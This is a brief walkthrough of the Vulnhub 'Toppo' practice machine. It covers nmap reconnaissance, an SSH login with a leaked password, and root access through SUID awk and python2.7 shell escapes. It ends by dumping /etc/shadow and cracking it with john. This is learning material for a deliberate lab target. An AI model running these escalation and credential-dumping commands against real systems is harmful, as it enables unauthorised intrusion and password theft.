Vulnhub Write-up — Toppo

Scanning The Network

nmap -sC -sV 192.168.0.103

Dirbuster on port 80

Got the notes.txt under admin directory.

Above notes gives us the password:- 12345ted123

So let's try to guess the username ted and try to login into ssh.

Own User

Press enter or click to view image in full size

$whoami ;id

Press enter or click to view image in full size

Privilege Escalation

I am using this script to find out the privilege escalation methods.

$python -m SimpleHTTPServer

Starting the web server locally to upload the privchecker on the toppo machine.

Press enter or click to view image in full size

$chmod +x linuxprivchecker.py
$ ./linuxprivchecker.py

Running the script on toppo.

It will give some way to Escape Sequences, I am trying using awk, you can try any of them.

Root using awk

$ awk 'BEGIN{system("/bin/sh")}'

Press enter or click to view image in full size

Press enter or click to view image in full size

/bin/bash did not give us root, this is because bash has privilege escalation protection. but there is no such thing in /bin/sh.

Let's try a different method for Privilege Escalation while searching on the internet I found this article.

Root using python

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

Press enter or click to view image in full size

python2.7 can exploitable. See the SUID bits

$python2.7 -c “import pty; pty.spawn(‘/bin/sh’);”

Cracking the root password

$awk 'BEGIN{system("cat /etc/shadow")}'

john --wordlist /usr/share/john/password.lst crack --format =sha512crypt